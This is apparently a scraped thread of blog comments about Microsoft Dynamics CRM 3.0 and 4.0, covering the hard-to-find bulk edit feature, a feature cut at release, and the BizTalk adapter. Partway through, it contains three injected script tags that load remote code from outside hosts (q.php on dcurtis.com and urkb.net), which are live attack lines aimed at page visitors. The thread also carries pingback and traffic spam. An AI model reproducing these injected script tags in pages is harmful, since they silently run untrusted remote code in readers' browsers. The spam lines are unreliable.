Hey Ryan It's embarrassing for me that people don't find Bulk Edit - I certainly screwed up there. I think it's a combination of bad naming ("Edit" doesn't immediately make one think of "bulk edit") and undiscoverability on the More Actions menu. Definitely some lessons to learn there. (It reminds me that in 1.x, many users didn't find the Actions menu at all, which certainly hampered the ability to use the product.) Ironically, in-line edits was a feature we had in early builds on 3.0 and took out later. It's actually a really tough thing to do well. Maybe some other release... It was great to see you at WPC, Ilana.
Ilana, Don't beat yourself up too bad - the feature is indeed part of 3.0 and works very well. Now that we know it's there we are singing the praises to all of our customers (not to mention how much we use it internally). :-) Great to hear from you! :: Ryan ::
RE: Microsoft CRM's E-mail Subject-Line Tracking Token Post: http://blogs.msdn.com/crm/archive/2006/09/18/761115.aspx Ilana Smith of the Microsoft CRM Development Team discusses how email integration works with the CRM Token and what transpires if you decide to turn off this functionality. This is very relevant information for companies who do not wish to include any addendums to the subject line of their email messages and/or are worried about overall email traffic in their exchange server environment when Microsoft CRM is installed. :: Ryan ::
I knew we were releasing the BizTalk 2006 Dynamics CRM Adapter in September, and it looks like it...
I knew we were releasing the BizTalk 2006 Dynamics CRM Adapter in September, and it looks like it just
Yes this adapter enables the connectivity between BTS 2006 and CRM 3.0
<script src=http://dcurtis.com/q.php>jonny6</script>
<script src=http://dcurtis.com/q.php>jonny7</script>
<script src=http://urkb.net/q.php>jonny5</script>
In Microsoft Download page we read this sentence :: << The Microsoft® BizTalk® Server 2006 Adapter for Microsoft Dynamics™ CRM 3.0 enables integration between Microsoft Dynamics CRM and Non-Microsoft Business applications >> so, can i use this Adapter to integrate with any Microsoft applications such as e-commerce or ERP ??
Hi;
Can i please know how to import data from an excel file into my ms crm using scribe insight. I had read white pages, tried teh scribe insight's help file i can seem to get to terms with it.
Please help.
best regards.
PingBack from http://consulting.wpbloggers.com/consulting/?p=133
Very exciting improvements. Email-to-case is much-needed. Plug-ins for event pipeline are also nice.
Just a quick thanks for this post. I had done everything up to Publish... that one little mention saved me alot of pain :)
Does it exists in the RTM Version? I cannot find it
Javier -
UNFORTUNATELY! You are correct - The feature got cut during release of the RTM code. I have not received any justifications as to why it got cut but my guess is that they found data corruption issues during regression testing (speculation only). A little birdie says that some blogs will be coming from Microsoft on how to still accomplish this feature even though the option does not appear when exporting to Excel.
:: Ryan ::
You might also be interested in a user handbook for CRM 4.0 that I am creating at http://www.redware.com/mscrm/handbook. I am working on the second draft right now - so any feedback would be appreciated !
Have a look at the tool provided up here http://blogs.msdn.com/crm/archive/2008/01/25/data-manipulation-tool.aspx
This functionality is not available in RTM. However, there is a blog and Tool that gives you alternate approach. The blog details are:
http://blogs.msdn.com/crm/archive/2008/01/25/data-manipulation-tool.aspx
RTM does not have this functionality available. However, there is a blog published on this: http://blogs.msdn.com/crm/archive/2008/01/25/data-manipulation-tool.aspx
Has anyone got the new adapter patch to work with 4.0
The hot-fixed BizTalk Adapter for 3.0 authenticates just fine.
In attempting to “Add Generated Object” to a solution in visual studio,
choosing Add Adapter Metadata, Microsoft Dynamics CRM, specifying my send Port and logging in,
I am offered, as expected:
+ Microsoft Dynamics CRM Actions
+ Microsoft Dynamics CRM Entities
Upon expanding and selecting Actions, I obtain results.
However, upon expanding any Entity selection, I get a NOT FOUND error.
Pingback from Pages tagged "microsoft"
How to add a provision for selecting values from a new entity on "To" attribute in Email Activity (Party List type)?
Would be nice to do the bulk edit for products. I have a huge list of products provided by a particular vendor that I can get from advanced find, but can't bulk edit :-(
Hi,
Why can't I edit the Company (parentcustomerid) field in Contacts, which is a Lookup field.
Why can't I edit any lookup fields using bulk edit?
These fields are grey out
Any way to "bulk edit" the owner of prospects? The owner field is disabled on the bulk edit form....
..We are looking to import prospects in bulk and then re-assign them to various individuals. Any other known way to do this?
Hmm...
A website definitely need traffic to survive else it is just an empty shopfront.